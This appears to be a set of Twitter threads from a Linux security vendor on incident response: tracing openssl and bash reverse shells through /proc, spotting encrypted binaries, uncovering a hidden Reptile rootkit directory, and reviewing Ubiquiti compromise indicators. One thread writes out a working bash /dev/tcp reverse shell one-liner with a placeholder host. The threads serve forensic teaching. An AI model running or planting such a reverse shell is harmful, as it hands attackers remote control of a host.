You see a weird openssl command running on one of your Linux systems. Here's how to investigate whether it's a bindshell backdoor operating on the box and hiding traffic inside an encrypted tunnel. Thread. #DFIR
The server and client to run the attack. The reverse bindshell causes openssl to connect back to us and is encrypted so network monitoring is blind to what is going on. Need to look at the host to figure it out.
We log into the host after seeing the weird outbound connection and need to investigate. Run ps -aux and lsof -p <PID> to see the process. Throw in netstat for good measure. We see openssl and /bin/sh -i running that look strange.
Once we see it's a PID of interest on Linux, we will go to /proc/<PID> to look around. Here we see the links to the executable and other data.
The process looks like standard openssl, so we'll now look at /proc/<PID>/cmdline and /proc/<PID>/environ to glean anything useful. These areas often leak important Linux attack information. #DFIR
We know this looks strange and has open network sockets. Let's look at the Linux maps to make sure it's not referencing any weird libraries inside /proc/<PID>/maps
So nothing is hiding that is obvious. Let's see what file descriptors it has open on Linux. This will show hidden data files, sockets, etc. the process has open that is of interest to us. *Let the process tell you what is interesting.* No need to break out the debugger. #DFIR
Right, we have a file of interest under /tmp/s. Let's look and see what it is. Appears to be a pipe with a single character name which is odd.
Doing the above steps to the /bin/sh -i process also. We see it has same links to open files so yes it's talking to openssl. They are clearly linked and referencing same Linux socket inode. They are talking to each other.
At this point we know this openssl client was not from a developer debugging a SSL certificate. It's malicious and time to initiate incident response procedures. Of course I think it's easier to use Sandfly to find this stuff automatically. #sandflysecurity#DFIR
Investigating a Linux host for backdoors manually is fun, but it's better to do it automatically. We have a free license to use our agentless Linux security platform. You can get it here instantly and use it for free on five or fewer hosts. #DFIR
Full article about how to use command line Linux forensics to investigate a suspicious openssl backdoor is here with more details than I can fit in a bunch of tweets:
This new Linux script from THC will encrypt and obfuscate any executable or script to hide from on-disk detection. I'm going to show you how to detect it with command line tools in this thread.
First, it only encrypts the binary at rest on disk. It is not encrypting the running process. This will evade legacy file scanning with YARA, etc. that is unreliable on Linux and I don't recommend using. The running process has no encryption so that is our detection target.
I encrypted a netcat binary. See the directory of encrypted and unencrypted binaries? Notice the size, and also notice I gzipped the binaries. Encrypted binaries do not compress well. This is a cheap "is this encrypted or not" check.
It is a total myth that you need agents on Linux to find attackers. It can all be done in user space and there is no reason to risk system stability doing kernel telemetry science projects across your org. Thread...
First, people think attackers always deploy stealth rootkits on Linux, but this is absolutely not the case. Most attacks are plainly obvious, but many are not found because nobody is looking. Kernel monitoring offers no advantage in finding typical attack patterns.
However, even the stealthiest of Linux stealth rootkits eventually does something to get caught. I've never seen a stealth rootkit in the wild that was perfect, and most of them horribly break things. Detecting rootkits does not require kernel kung-fu.
Detecting stealth rootkits on Linux can be done from the command line. The secret is to ask the same question multiple ways to make sure all answers agree.
Let's find a directory from the Reptile stealth rootkit on Linux with link checks.
h/t @hal_pomeranz for this method.
When you run a rootkit like Reptile, they often come with the ability to hide a directory if named a certain way. Any directory with the name "reptile" in it will be hidden with this rootkit as you see below under /lib/udev.
Let's use the tactic of asking the same question multiple ways to find something hiding. Here "ls -d */" shows only directories. We'll pipe it through "wc" to get a count. Only two directories are shown.
One of my favorite reverse shells for Linux is this:
bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1
It's simple and works on just about every Linux system without elaborate payloads. Let's discuss how to investigate it.
When you look at the process listing, you'll see a shell running. But the shell will have the interactive (-i) flag. In general, this isn't terribly common and is a good place to put your attention.
We'll just go right to /proc/PID of the suspicious process. I like looking at open files processes have under /proc/PID/fd. You can learn a lot about what a process is doing by what it has open.
Report below on Ubiquiti compromise tactics and indicators. Includes OpenSSH backdoor/credential harvesting and dropped SSH key. Plus custom python based backdoors, iptables proxying and tampered binaries. Some thoughts.
Using SSH with passwords means a trojanized binary will steal any credential of someone logging in. If you are not using public keys with SSH on Ubiquti and other devices (which prevents this), at least use a unique password with *each* device. Do not re-use passwords.
A reverse proxy rule is inserted likely to allow leverage of compromised systems to route/hide traffic for a variety of uses.
As disclosed, it runs as [syslogd] after exec. This is easily seen with a ps -auxwf command that it is sitting out all alone and not part of the main [kthreadd] process PID 2.
ps -auxwf is your friend.
It then opens up a raw socket listening for UDP packets and waits patiently and quietly. The netstat listing shows the [syslogd] process which would be extremely suspicious if you happened to see it.